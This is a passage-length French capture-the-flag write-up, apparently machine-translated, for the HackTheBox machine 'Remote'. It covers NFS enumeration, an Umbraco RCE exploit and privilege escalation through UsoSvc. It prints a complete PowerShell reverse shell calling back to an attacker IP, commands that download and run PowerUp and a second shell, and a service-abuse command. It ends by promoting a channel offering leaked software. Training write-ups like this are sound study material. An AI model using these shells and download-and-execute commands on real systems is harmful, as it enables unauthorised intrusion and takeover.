HackTheBox. Passage de Remote. NFS, RCE dans CMS Umbraco et LPE via UsoSvc



Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .



Dans cet article, nous explorons la ressource NFS, traitons l'exploit RCE pour le CMS Umbraco et trouvons le vecteur LPE via UsoSvc en utilisant PowerUp.



La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il existe des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.



Informations organisationnelles
, , Telegram . , , .



. , - , .



Reconnaître



Cette machine a une adresse IP de 10.10.10.180, que j'ajoute à / etc / hosts.



10.10.10.180 	remote.htb


La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500






De nombreux ports sont ouverts sur l'hôte. Maintenant, analysons-les avec nmap pour filtrer et sélectionner ceux dont nous avons besoin.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.



nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Le port 111 est responsable de NFS (vous permet de monter des systèmes de fichiers distants sur le réseau). Voyons la liste des ressources.







Nous avons des ressources disponibles, montons cette ressource.







Et dans ce répertoire, nous trouvons Web.config et le dossier Umbraco. Umbraco est une plate-forme de système de gestion de contenu open source.







Ainsi, nous devons voir toutes les configurations, ainsi que la version d'Umbraco. C'est ce que l'on peut noter dans le Web.Config.











Nous trouvons les informations d'identification pour smtp et la version Umbraco: 7.12.4. Koraya est vulnérable si des informations d'identification sont présentes.



Point d'accès







Ensuite, j'ai répertorié tous les fichiers et répertoires qui se trouvent sur le serveur distant afin de sélectionner et d'afficher les fichiers d'intérêt.

ls -lR ./


















Une fois que la gamme de fichiers est limitée, vous devriez les regarder (vous pouvez superficiellement utiliser grep pour sélectionner des lignes telles que: user, login, pass, vers, etc.). C'est ainsi que nous trouvons des informations sur l'existence de deux utilisateurs:











Après cela, nous recherchons à nouveau les lignes admin et ssmith. Et nous trouvons des hachages pour les données utilisateur.











Et piratez avec succès le mot de passe administrateur.







Si vous regardez la base exploit-db, alors il y a un exploit prêt à l'emploi, mais il doit être légèrement modifié.







UTILISATEUR



Premièrement: nous allons spécifier les informations d'identification et l'hôte.







Deuxièmement, nous modifierons la charge en spécifiant le fichier exécutable et ses paramètres. Dans ce cas, nous utilisons le ping pour le test.







Dès que le programme s'exécute, nous verrons les paquets ICMP dans tcpdump.











Chargeons le shell inverse suivant:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()




Sauvegardons-le dans shell.ps1, démarrez le serveur http sur la machine locale.

sudo python3 -m http.server


Changeons la charge.







Et après l'exécution, nous obtenons une backconnect.







Il n'y a pas de répertoires d'utilisateurs sur le serveur, nous trouvons donc l'indicateur dans Public.







RACINE



Après avoir regardé les informations sur l'utilisateur, nous remarquons un privilège intéressant.







Mais comme il s'agit de Windows Server 2019, l'usurpation d'identité du jeton pour LPE ne fonctionnera pas.







Utilisons PowerUp pour trouver le vecteur LPE. Téléchargeons-le depuis localhost et faisons une vérification complète.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks






Et nous avons les autorisations pour mettre à jour le service Orchestrator. Update Orchestrator est un service qui organise les mises à jour Windows pour vous. Ce service est responsable du téléchargement, de l'installation et de la vérification des mises à jour de l'ordinateur.



Créons un deuxième shell (changez le port dans le premier) et chargez-le sur la machine.

wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1


Et maintenant, exécutons-le avec UsoSvc.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"






Et nous obtenons un backconnect.







Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.



All Articles